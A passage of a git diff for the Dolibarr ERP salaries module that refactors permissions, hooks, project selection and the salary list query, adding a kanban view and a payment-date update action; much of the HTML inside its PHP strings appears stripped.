      '; + return $return; + } } diff --git a/htdocs/salaries/document.php b/htdocs/salaries/document.php index 163042dbeb8..c90069ef8bf 100644 --- a/htdocs/salaries/document.php +++ b/htdocs/salaries/document.php @@ -78,7 +78,9 @@ $childids = $user->getAllChildIds(1); // fetch optionals attributes and labels $extrafields->fetch_name_optionals_label($object->table_element); -$object = new Salary($db); +// Initialize technical object to manage hooks of page. Note that conf->hooks_modules contains array of hook context +$hookmanager->initHooks(array('salarydoc', 'globalcard')); + if ($id > 0 || !empty($ref)) { $object->fetch($id, $ref); @@ -105,7 +107,9 @@ if ($user->socid) { } restrictedArea($user, 'salaries', $object->id, 'salary', ''); +$permissiontoread = $user->rights->salaries->read; $permissiontoadd = $user->rights->salaries->write; // Used by the include of actions_addupdatedelete.inc.php and actions_linkedfiles +$permissiontodelete = $user->rights->salaries->delete || ($permissiontoadd && isset($object->status) && $object->status == $object::STATUS_DRAFT); /* @@ -176,34 +180,26 @@ if ($object->id) { $morehtmlref .= '
      '.$langs->trans('Employee').' : '.$userstatic->getNomUrl(-1); + $usercancreate = $permissiontoadd; + // Project if (isModEnabled('project')) { - $morehtmlref .= '
      '.$langs->trans('Project').' '; - if ($user->rights->salaries->write) { + $langs->load("projects"); + $morehtmlref .= '
      '; + if ($usercancreate) { + $morehtmlref .= img_picto($langs->trans("Project"), 'project', 'class="pictofixedwidth"'); if ($action != 'classify') { - $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' : '; - } - if ($action == 'classify') { - //$morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'projectid', 0, 0, 1, 1); - $morehtmlref .= '
      '; - $morehtmlref .= ''; - $morehtmlref .= ''; - $morehtmlref .= $formproject->select_projects(-1, $object->fk_project, 'projectid', 0, 0, 1, 0, 1, 0, 0, '', 1, 0, 'maxwidth500'); - $morehtmlref .= ''; - $morehtmlref .= ''; - } else { - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, -1, $object->fk_project, 'none', 0, 0, 0, 1); + $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' '; } + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, 0, 0, 1, '', 'maxwidth300'); } else { if (!empty($object->fk_project)) { $proj = new Project($db); $proj->fetch($object->fk_project); - $morehtmlref .= ' : '.$proj->getNomUrl(1); + $morehtmlref .= $proj->getNomUrl(1); if ($proj->title) { - $morehtmlref .= ' - '.$proj->title; + $morehtmlref .= ' - '.dol_escape_htmltag($proj->title).''; } - } else { - $morehtmlref .= ''; } } } diff --git a/htdocs/salaries/info.php b/htdocs/salaries/info.php index e16493ddc91..356900456af 100644 --- a/htdocs/salaries/info.php +++ b/htdocs/salaries/info.php @@ -58,6 +58,9 @@ $childids = $user->getAllChildIds(1); // fetch optionals attributes and labels $extrafields->fetch_name_optionals_label($object->table_element); +// Initialize technical object to manage hooks of page. Note that conf->hooks_modules contains array of hook context +$hookmanager->initHooks(array('salaryinfo', 'globalcard')); + $object = new Salary($db); if ($id > 0 || !empty($ref)) { $object->fetch($id, $ref); @@ -77,6 +80,10 @@ if ($id > 0 || !empty($ref)) { restrictedArea($user, 'salaries', $object->id, 'salary', ''); +$permissiontoread = $user->rights->salaries->read; +$permissiontoadd = $user->rights->salaries->write; // Used by the include of actions_addupdatedelete.inc.php and actions_linkedfiles +$permissiontodelete = $user->rights->salaries->delete || ($permissiontoadd && isset($object->status) && $object->status == $object::STATUS_DRAFT); + /* * Actions @@ -107,7 +114,6 @@ $title = $langs->trans('Salary')." - ".$langs->trans('Info'); $help_url = ""; llxHeader("", $title, $help_url); -$object = new Salary($db); $object->fetch($id); $object->info($id); @@ -139,34 +145,26 @@ if ($action != 'editlabel') { $morehtmlref .= '
      '.$langs->trans('Employee').' : '.$userstatic->getNomUrl(-1); +$usercancreate = $permissiontoadd; + // Project if (isModEnabled('project')) { - $morehtmlref .= '
      '.$langs->trans('Project').' '; - if ($user->rights->salaries->write) { + $langs->load("projects"); + $morehtmlref .= '
      '; + if ($usercancreate) { + $morehtmlref .= img_picto($langs->trans("Project"), 'project', 'class="pictofixedwidth"'); if ($action != 'classify') { - $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' : '; - } - if ($action == 'classify') { - //$morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'projectid', 0, 0, 1, 1); - $morehtmlref .= '
      '; - $morehtmlref .= ''; - $morehtmlref .= ''; - $morehtmlref .= $formproject->select_projects(-1, $object->fk_project, 'projectid', 0, 0, 1, 0, 1, 0, 0, '', 1, 0, 'maxwidth500'); - $morehtmlref .= ''; - $morehtmlref .= ''; - } else { - $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); + $morehtmlref .= ''.img_edit($langs->transnoentitiesnoconv('SetProject')).' '; } + $morehtmlref .= $form->form_project($_SERVER['PHP_SELF'].'?id='.$object->id, $object->socid, $object->fk_project, ($action == 'classify' ? 'projectid' : 'none'), 0, 0, 0, 1, '', 'maxwidth300'); } else { if (!empty($object->fk_project)) { $proj = new Project($db); $proj->fetch($object->fk_project); - $morehtmlref .= ' : '.$proj->getNomUrl(1); + $morehtmlref .= $proj->getNomUrl(1); if ($proj->title) { - $morehtmlref .= ' - '.$proj->title; + $morehtmlref .= ' - '.dol_escape_htmltag($proj->title).''; } - } else { - $morehtmlref .= ''; } } } @@ -180,7 +178,7 @@ print '
      '; print '
      '; -print '
      '; print ''.img_object($langs->trans("Payment"), "payment").' '.$objp->rowid.''.dol_print_date($db->jdate($objp->dp), 'day')."'.dol_print_date($db->jdate($objp->dp), 'dayhour', 'tzuserrel')."".$labeltype.' '.$objp->num_payment."
      '.$langs->trans("AlreadyPaid")." :".price($totalpaid)."
      '.$langs->trans("AmountExpected")." :".price($object->amount)."
      '.$langs->trans("AlreadyPaid").' :'.price($totalpaid)."
      '.$langs->trans("AmountExpected").' :'.price($object->amount)."
      ';*/ print '"; print ''; diff --git a/htdocs/salaries/payment_salary/card.php b/htdocs/salaries/payment_salary/card.php index c9f0a151901..21304469296 100644 --- a/htdocs/salaries/payment_salary/card.php +++ b/htdocs/salaries/payment_salary/card.php @@ -20,10 +20,10 @@ */ /** - * \file htdocs/compta/payment_sc/card.php - * \ingroup facture - * \brief Onglet payment of a salary - * \remarks Fichier presque identique a fournisseur/paiement/card.php + * \file htdocs/salaries/payment_salary/card.php + * \ingroup salary + * \brief Tab to pay a salary + * \remarks File very similar with fournisseur/paiement/card.php */ // Load Dolibarr environment @@ -43,6 +43,8 @@ $action = GETPOST('action', 'aZ09'); $confirm = GETPOST('confirm'); if ($user->socid) $socid = $user->socid; +$salary = new Salary($db); + $object = new PaymentSalary($db); if ($id > 0) { $result = $object->fetch($id); @@ -56,7 +58,7 @@ restrictedArea($user, 'salaries', $object->fk_salary, 'salary', ''); // $object */ // Delete payment -if ($action == 'confirm_delete' && $confirm == 'yes' && $user->rights->salaries->delete) { +if ($action == 'confirm_delete' && $confirm == 'yes' && $user->hasRight('salaries', 'delete')) { $db->begin(); $result = $object->delete($user); @@ -70,17 +72,25 @@ if ($action == 'confirm_delete' && $confirm == 'yes' && $user->rights->salaries- } } +if ($action == 'setdatep' && GETPOST('datepday') && $user->hasRight('salaries', 'write')) { + $datepaye = dol_mktime(GETPOST('datephour', 'int'), GETPOST('datepmin', 'int'), GETPOST('datepsec', 'int'), GETPOST('datepmonth', 'int'), GETPOST('datepday', 'int'), GETPOST('datepyear', 'int'), 'tzuserrel'); + $res = $object->updatePaymentDate($datepaye); + if ($res === 0) { + setEventMessages($langs->trans('PaymentDateUpdateSucceeded'), null, 'mesgs'); + } else { + setEventMessages($langs->trans('PaymentDateUpdateFailed'), null, 'errors'); + } +} + /* * View */ -llxHeader(); - -$salary = new Salary($db); - $form = new Form($db); +llxHeader('', $langs->trans("SalaryPayment")); + $h = 0; $head = array(); @@ -127,7 +137,7 @@ dol_banner_tab($object, 'id', $linkback, 1, 'rowid', 'id', ''); print '
      '; print '
      '; -print '
      '; +print '
      '; dol_print_object_info($object); print '
      '; diff --git a/htdocs/salaries/list.php b/htdocs/salaries/list.php index e0efb53915b..70c69761559 100644 --- a/htdocs/salaries/list.php +++ b/htdocs/salaries/list.php @@ -44,15 +44,18 @@ $toselect = GETPOST('toselect', 'array'); // Array of ids of elements selected $contextpage = GETPOST('contextpage', 'aZ') ? GETPOST('contextpage', 'aZ') : str_replace('_', '', basename(dirname(__FILE__)).basename(__FILE__, '.php')); // To manage different context of search $backtopage = GETPOST('backtopage', 'alpha'); // Go back to a dedicated page $optioncss = GETPOST('optioncss', 'aZ'); // Option for the css output (always '' except when 'print') +$mode = GETPOST('mode', 'aZ'); // The output mode ('list', 'kanban', 'hierarchy', 'calendar', ...) + // Load variable for pagination $limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; $sortfield = GETPOST('sortfield', 'aZ09comma'); $sortorder = GETPOST('sortorder', 'aZ09comma'); $page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int'); -if (empty($page) || $page == -1 || GETPOST('button_search', 'alpha') || GETPOST('button_removefilter', 'alpha') || (empty($toselect) && $massaction === '0')) { +if (empty($page) || $page < 0 || GETPOST('button_search', 'alpha') || GETPOST('button_removefilter', 'alpha')) { + // If $page is not defined, or '' or -1 or if we click on clear filters $page = 0; -} // If $page is not defined, or '' or -1 or if we click on clear filters or if we select empty mass action +} $offset = $limit * $page; $pageprev = $page - 1; $pagenext = $page + 1; @@ -123,11 +126,11 @@ $arrayfields = array(); foreach ($object->fields as $key => $val) { // If $val['visible']==0, then we never show the field if (!empty($val['visible'])) { - $visible = (int) dol_eval($val['visible'], 1, 1, '1'); + $visible = (int) dol_eval($val['visible'], 1); $arrayfields['t.'.$key] = array( 'label'=>$val['label'], 'checked'=>(($visible < 0) ? 0 : 1), - 'enabled'=>($visible != 3 && dol_eval($val['enabled'], 1, 1, '1')), + 'enabled'=>(abs($visible) != 3 && dol_eval($val['enabled'], 1)), 'position'=>$val['position'], 'help'=> isset($val['help']) ? $val['help'] : '' ); @@ -194,8 +197,8 @@ if (empty($reshook)) { } // Mass actions - $objectclass = 'PaymentSalary'; - $objectlabel = 'SalariesPayments'; + $objectclass = 'Salary'; + $objectlabel = 'Salaries'; $uploaddir = $conf->salaries->dir_output; include DOL_DOCUMENT_ROOT.'/core/actions_massactions.inc.php'; @@ -218,15 +221,34 @@ $accountstatic = new Account($db); $now = dol_now(); +$title = $langs->trans('Salaries'); //$help_url="EN:Module_BillOfMaterials|FR:Module_BillOfMaterials_FR|ES:Módulo_BillOfMaterials"; $help_url = ''; -$title = $langs->trans('Salaries'); +$morejs = array(); +$morecss = array(); -$sql = "SELECT u.rowid as uid, u.lastname, u.firstname, u.login, u.email, u.admin, u.salary as current_salary, u.fk_soc as fk_soc, u.statut as status,"; +// Build and execute select +// -------------------------------------------------------------------- +$sql = "SELECT u.rowid as uid, u.lastname, u.firstname, u.login, u.email, u.admin, u.photo, u.salary as current_salary, u.fk_soc as fk_soc, u.statut as status,"; $sql .= " s.rowid, s.fk_account, s.paye, s.fk_user, s.amount, s.salary, s.label, s.datesp, s.dateep, s.fk_typepayment as paymenttype, "; $sql .= " ba.rowid as bid, ba.ref as bref, ba.number as bnumber, ba.account_number, ba.fk_accountancy_journal, ba.label as blabel, ba.iban_prefix as iban, ba.bic, ba.currency_code, ba.clos,"; $sql .= " pst.code as payment_code,"; $sql .= " SUM(ps.amount) as alreadypayed"; +// Add fields from extrafields +if (!empty($extrafields->attributes[$object->table_element]['label'])) { + foreach ($extrafields->attributes[$object->table_element]['label'] as $key => $val) { + $sql .= ($extrafields->attributes[$object->table_element]['type'][$key] != 'separate' ? ", ef.".$key." as options_".$key : ''); + } +} +// Add fields from hooks +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters, $object, $action); // Note that $action and $object may have been modified by hook +$sql .= $hookmanager->resPrint; +$sql = preg_replace('/,\s*$/', '', $sql); +//$sql .= ", COUNT(rc.rowid) as anotherfield"; + +$sqlfields = $sql; // $sql fields to remove for count total + $sql .= " FROM ".MAIN_DB_PREFIX."salary as s"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."payment_salary as ps ON (ps.fk_salary = s.rowid) "; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."c_paiement as pst ON (s.fk_typepayment = pst.id) "; @@ -274,52 +296,72 @@ if ($search_status != '' && $search_status >= 0) { if ($search_type_id) { $sql .= " AND s.fk_typepayment=".((int) $search_type_id); } -$sql .= " GROUP BY u.rowid, u.lastname, u.firstname, u.login, u.email, u.admin, u.salary, u.fk_soc, u.statut,"; +$sql .= " GROUP BY u.rowid, u.lastname, u.firstname, u.login, u.email, u.admin, u.photo, u.salary, u.fk_soc, u.statut,"; $sql .= " s.rowid, s.fk_account, s.paye, s.fk_user, s.amount, s.salary, s.label, s.datesp, s.dateep, s.fk_typepayment, s.fk_bank,"; $sql .= " ba.rowid, ba.ref, ba.number, ba.account_number, ba.fk_accountancy_journal, ba.label, ba.iban_prefix, ba.bic, ba.currency_code, ba.clos,"; $sql .= " pst.code"; -$sql .= $db->order($sortfield, $sortorder); // Count total nb of records $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { - $resql = $db->query($sql); - $nbtotalofrecords = $db->num_rows($resql); - if (($page * $limit) > $nbtotalofrecords) { // if total of record found is smaller than page * limit, goto and load page 0 + /* The fast and low memory method to get and count full list converts the sql into a sql count */ + $sqlforcount = preg_replace('/^'.preg_quote($sqlfields, '/').'/', 'SELECT COUNT(*) as nbtotalofrecords', $sql); + $sqlforcount = preg_replace('/GROUP BY .*$/', '', $sqlforcount); + $resql = $db->query($sqlforcount); + if ($resql) { + $objforcount = $db->fetch_object($resql); + $nbtotalofrecords = $objforcount->nbtotalofrecords; + } else { + dol_print_error($db); + } + + if (($page * $limit) > $nbtotalofrecords) { // if total resultset is smaller than the paging size (filtering), goto and load page 0 $page = 0; $offset = 0; } + $db->free($resql); } -// if total of record found is smaller than limit, no need to do paging and to restart another select with limits set. -if (is_numeric($nbtotalofrecords) && ($limit > $nbtotalofrecords || empty($limit))) { - $num = $nbtotalofrecords; -} else { - if ($limit) { - $sql .= $db->plimit($limit + 1, $offset); - } - $resql = $db->query($sql); - if (!$resql) { - dol_print_error($db); - exit; - } - - $num = $db->num_rows($resql); +// Complete request and execute it with limit +$sql .= $db->order($sortfield, $sortorder); +if ($limit) { + $sql .= $db->plimit($limit + 1, $offset); } +$resql = $db->query($sql); +if (!$resql) { + dol_print_error($db); + exit; +} + +$num = $db->num_rows($resql); + + +// Direct jump if only one record found +if ($num == 1 && !empty($conf->global->MAIN_SEARCH_DIRECT_OPEN_IF_ONLY_ONE) && $search_all && !$page) { + $obj = $db->fetch_object($resql); + $id = $obj->rowid; + header("Location: ".dol_buildpath('/mymodule/myobject_card.php', 1).'?id='.$id); + exit; +} + + // Output page // -------------------------------------------------------------------- -llxHeader('', $title, $help_url); +llxHeader('', $title, $help_url, '', 0, 0, $morejs, $morecss, '', 'bodyforlist'); // Can use also classforhorizontalscrolloftabs instead of bodyforlist for no horizontal scroll $arrayofselected = is_array($toselect) ? $toselect : array(); $param = ''; +if (!empty($mode)) { + $param .= '&mode='.urlencode($mode); +} if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { $param .= '&contextpage='.urlencode($contextpage); } if ($limit > 0 && $limit != $conf->liste_limit) { - $param .= '&limit='.urlencode($limit); + $param .= '&limit='.((int) $limit); } if ($search_type_id) { $param .= '&search_type_id='.urlencode($search_type_id); @@ -357,19 +399,25 @@ if (!empty($search_date_end_to)) { // Add $param from extra fields include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_param.tpl.php'; +// Add $param from hooks +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldListSearchParam', $parameters, $object, $action); // Note that $action and $object may have been modified by hook +$param .= $hookmanager->resPrint; // List of mass actions available $arrayofmassactions = array( //'presend'=>img_picto('', 'email', 'class="pictofixedwidth"').$langs->trans("SendByMail"), //'buildsepa'=>img_picto('', 'pdf', 'class="pictofixedwidth"').$langs->trans("BuildSepa"), // TODO ); -//if ($permissiontodelete) $arrayofmassactions['predelete'] = img_picto('', 'delete', 'class="pictofixedwidth"').$langs->trans("Delete"); +if (!empty($permissiontodelete)) { + $arrayofmassactions['predelete'] = img_picto('', 'delete', 'class="pictofixedwidth"').$langs->trans("Delete"); +} if (GETPOST('nomassaction', 'int') || in_array($massaction, array('presend', 'predelete'))) { $arrayofmassactions = array(); } $massactionbutton = $form->selectMassAction('', $arrayofmassactions); -print '
      '; +print ''."\n"; if ($optioncss != '') { print ''; } @@ -378,29 +426,68 @@ print ''; print ''; print ''; +print ''; print ''; +print ''; +print ''; + $url = DOL_URL_ROOT.'/salaries/card.php?action=create'; if (!empty($socid)) { $url .= '&socid='.$socid; } -$newcardbutton = dolGetButtonTitle($langs->trans('NewSalaryPayment'), '', 'fa fa-plus-circle', $url, '', $user->rights->salaries->write); -print_barre_liste($title, $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, $massactionbutton, $num, $nbtotalofrecords, 'salary', 0, $newcardbutton, '', $limit, 0, 0, 1); +$newcardbutton = ''; +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewList'), '', 'fa fa-bars imgforviewmode', $_SERVER["PHP_SELF"].'?mode=common'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ((empty($mode) || $mode == 'common') ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewKanban'), '', 'fa fa-th-list imgforviewmode', $_SERVER["PHP_SELF"].'?mode=kanban'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ($mode == 'kanban' ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitleSeparator(); +$newcardbutton .= dolGetButtonTitle($langs->trans('NewSalary'), '', 'fa fa-plus-circle', $url, '', $permissiontoadd); -$varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; -//$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage); // This also change content of $arrayfields -$selectedfields = ''; -$selectedfields .= (count($arrayofmassactions) ? $form->showCheckAddButtons('checkforselect', 1) : ''); +print_barre_liste($title, $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, $massactionbutton, $num, $nbtotalofrecords, $object->picto, 0, $newcardbutton, '', $limit, 0, 0, 1); + +// Add code for pre mass action (confirmation or email presend form) +$topicmail = "SendSalaryRef"; +$modelmail = "salary"; +$objecttmp = new Salary($db); +$trackid = 'sal'.$object->id; +include DOL_DOCUMENT_ROOT.'/core/tpl/massactions_pre.tpl.php'; $moreforfilter = ''; -print '
      '; +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldPreListTitle', $parameters, $object, $action); // Note that $action and $object may have been modified by hook +if (empty($reshook)) { + $moreforfilter .= $hookmanager->resPrint; +} else { + $moreforfilter = $hookmanager->resPrint; +} + +if (!empty($moreforfilter)) { + print '
      '; + print $moreforfilter; + $parameters = array(); + $reshook = $hookmanager->executeHooks('printFieldPreListTitle', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; + print '
      '; +} + +$varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; +$selectedfields = ($mode != 'kanban' ? $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage, getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN', '')) : ''); // This also change content of $arrayfields +$selectedfields .= (count($arrayofmassactions) ? $form->showCheckAddButtons('checkforselect', 1) : ''); + +print '
      '; // You can use div-table-responsive-no-min if you dont need reserved height for your table print ''."\n"; // Fields title search // -------------------------------------------------------------------- print ''; +// Action column +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} // Ref print ''; -print ''; // Extra fields @@ -458,38 +546,59 @@ include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_input.tpl.php'; // Fields from hook $parameters = array('arrayfields'=>$arrayfields); -$reshook = $hookmanager->executeHooks('printFieldListOption', $parameters, $object); // Note that $action and $object may have been modified by hook +$reshook = $hookmanager->executeHooks('printFieldListOption', $parameters, $object, $action); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; // Action column -print ''; +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} print ''."\n"; +$totalarray = array(); +$totalarray['nbfield'] = 0; // Fields title label // -------------------------------------------------------------------- print ''; +// Action column +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print getTitleFieldOfList($selectedfields, 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; + $totalarray['nbfield']++; +} print_liste_field_titre("Ref", $_SERVER["PHP_SELF"], "s.rowid", "", $param, "", $sortfield, $sortorder); +$totalarray['nbfield']++; print_liste_field_titre("Label", $_SERVER["PHP_SELF"], "s.label", "", $param, 'class="left"', $sortfield, $sortorder); +$totalarray['nbfield']++; print_liste_field_titre("DateStart", $_SERVER["PHP_SELF"], "s.datesp,s.rowid", "", $param, 'align="center"', $sortfield, $sortorder); +$totalarray['nbfield']++; print_liste_field_titre("DateEnd", $_SERVER["PHP_SELF"], "s.dateep,s.rowid", "", $param, 'align="center"', $sortfield, $sortorder); +$totalarray['nbfield']++; print_liste_field_titre("Employee", $_SERVER["PHP_SELF"], "u.lastname", "", $param, "", $sortfield, $sortorder); +$totalarray['nbfield']++; print_liste_field_titre("DefaultPaymentMode", $_SERVER["PHP_SELF"], "type", "", $param, 'class="left"', $sortfield, $sortorder); +$totalarray['nbfield']++; if (isModEnabled("banque")) { print_liste_field_titre("DefaultBankAccount", $_SERVER["PHP_SELF"], "ba.label", "", $param, "", $sortfield, $sortorder); + $totalarray['nbfield']++; } print_liste_field_titre("Amount", $_SERVER["PHP_SELF"], "s.amount", "", $param, 'class="right"', $sortfield, $sortorder); +$totalarray['nbfield']++; print_liste_field_titre('Status', $_SERVER["PHP_SELF"], "s.paye", '', $param, 'class="right"', $sortfield, $sortorder); +$totalarray['nbfield']++; // Extra fields include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_title.tpl.php'; // Hook fields -$parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$sortfield, 'sortorder'=>$sortorder); -$reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters, $object); // Note that $action and $object may have been modified by hook +$parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$sortfield, 'sortorder'=>$sortorder, 'totalarray'=>&$totalarray); +$reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters, $object, $action); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; // Action column -print getTitleFieldOfList($selectedfields, 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print getTitleFieldOfList($selectedfields, 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; + $totalarray['nbfield']++; +} print ''."\n"; @@ -497,7 +606,7 @@ print ''."\n"; $needToFetchEachLine = 0; if (isset($extrafields->attributes[$object->table_element]['computed']) && is_array($extrafields->attributes[$object->table_element]['computed']) && count($extrafields->attributes[$object->table_element]['computed']) > 0) { foreach ($extrafields->attributes[$object->table_element]['computed'] as $key => $val) { - if (preg_match('/\$object/', $val)) { + if ($val && preg_match('/\$object/', $val)) { $needToFetchEachLine++; // There is at least one compute field that use $object } } @@ -507,11 +616,13 @@ if (isset($extrafields->attributes[$object->table_element]['computed']) && is_ar // -------------------------------------------------------------------- $i = 0; $total = 0; +$savnbfield = $totalarray['nbfield']; $totalarray = array(); $totalarray['nbfield'] = 0; $totalarray['val'] = array(); $totalarray['val']['totalttcfield'] = 0; -while ($i < ($limit ? min($num, $limit) : $num)) { +$imaxinloop = ($limit ? min($num, $limit) : $num); +while ($i < $imaxinloop) { $obj = $db->fetch_object($resql); if (empty($obj)) { break; // Should not happen @@ -527,127 +638,168 @@ while ($i < ($limit ? min($num, $limit) : $num)) { $userstatic->login = $obj->login; $userstatic->email = $obj->email; $userstatic->socid = $obj->fk_soc; - $userstatic->statut = $obj->status; + $userstatic->statut = $obj->status; // deprecated + $userstatic->status = $obj->status; + $userstatic->photo = $obj->photo; $salstatic->id = $obj->rowid; $salstatic->ref = $obj->rowid; $salstatic->label = $obj->label; $salstatic->paye = $obj->paye; - $salstatic->datesp = $db->jdate($obj->datesp); - $salstatic->dateep = $db->jdate($obj->dateep); + $salstatic->datesp = $obj->datesp; + $salstatic->dateep = $obj->dateep; + $salstatic->amount = $obj->amount; + $salstatic->type_payment = $obj->payment_code; - // Show here line of result - print ''; - - // Ref - print "\n"; - if (!$i) { - $totalarray['nbfield']++; - } - - // Label payment - print '\n"; - if (!$i) { - $totalarray['nbfield']++; - } - - // Date Start - print '\n"; - if (!$i) { - $totalarray['nbfield']++; - } - - // Date End - print '\n"; - if (!$i) { - $totalarray['nbfield']++; - } - - // Employee - print '\n"; - if (!$i) { - $totalarray['nbfield']++; - } - - // Type - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - - // Account - if (isModEnabled("banque")) { - print ''; + } + } else { + // Show here line of result + $j = 0; + print ''; + // Action column + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Ref + print "\n"; + if (!$i) { + $totalarray['nbfield']++; + } + + // Label payment + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } + + // Date Start + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } + + // Date End + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } + + // Employee + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } + + // Payment mode + print ''; if (!$i) { $totalarray['nbfield']++; } - } - // if (!$i) $totalarray['pos'][$totalarray['nbfield']] = 'totalttcfield'; + // Account + if (isModEnabled("banque")) { + print ''; - if (!$i) { - $totalarray['nbfield']++; - } - if (!$i) { - $totalarray['pos'][$totalarray['nbfield']] = 'totalttcfield'; - } - $totalarray['val']['totalttcfield'] += $obj->amount; + if (isModEnabled('accounting')) { + $accountstatic->account_number = $obj->account_number; - print ''; - if (!$i) $totalarray['nbfield']++; + $accountingjournal = new AccountingJournal($db); + $accountingjournal->fetch($obj->fk_accountancy_journal); - // Extra fields - include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; - // Fields from hook - $parameters = array('arrayfields'=>$arrayfields, 'object'=>$object, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); - $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object); // Note that $action and $object may have been modified by hook - print $hookmanager->resPrint; - // Action column - print ''; + if (!$i) { + $totalarray['nbfield']++; + } } - print ''; - } - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - print ''."\n"; + // if (!$i) $totalarray['pos'][$totalarray['nbfield']] = 'totalttcfield'; + // Amount + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 'totalttcfield'; + } + $totalarray['val']['totalttcfield'] += $obj->amount; + + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + + // Extra fields + include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; + // Fields from hook + $parameters = array('arrayfields'=>$arrayfields, 'object'=>$object, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); + $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; + // Action column + if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + print ''."\n"; + } $i++; } @@ -665,14 +817,14 @@ if ($num == 0) { }*/ $colspan = 9; if (isModEnabled("banque")) { $colspan++; } - print ''; + print ''; } $db->free($resql); $parameters = array('arrayfields'=>$arrayfields, 'sql'=>$sql); -$reshook = $hookmanager->executeHooks('printFieldListFooter', $parameters, $object); // Note that $action and $object may have been modified by hook +$reshook = $hookmanager->executeHooks('printFieldListFooter', $parameters, $object, $action); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; print '
      '; + $searchpicto = $form->showFilterButtons('left'); + print $searchpicto; + print ''; print ''; @@ -448,9 +535,10 @@ if (isModEnabled("banque")) { // Amount print ''; +// Status +print ''; $liststatus = array('0' => $langs->trans("Unpaid"), '1' => $langs->trans("Paid")); -print $form->selectarray('search_status', $liststatus, $search_status, 1); +print $form->selectarray('search_status', $liststatus, $search_status, 1, 0, 0, '', 0, 0, 0, '', 'search_status width100 onrightofpage'); print ''; -$searchpicto = $form->showFilterButtons(); -print $searchpicto; -print ''; + $searchpicto = $form->showFilterButtons(); + print $searchpicto; + print '
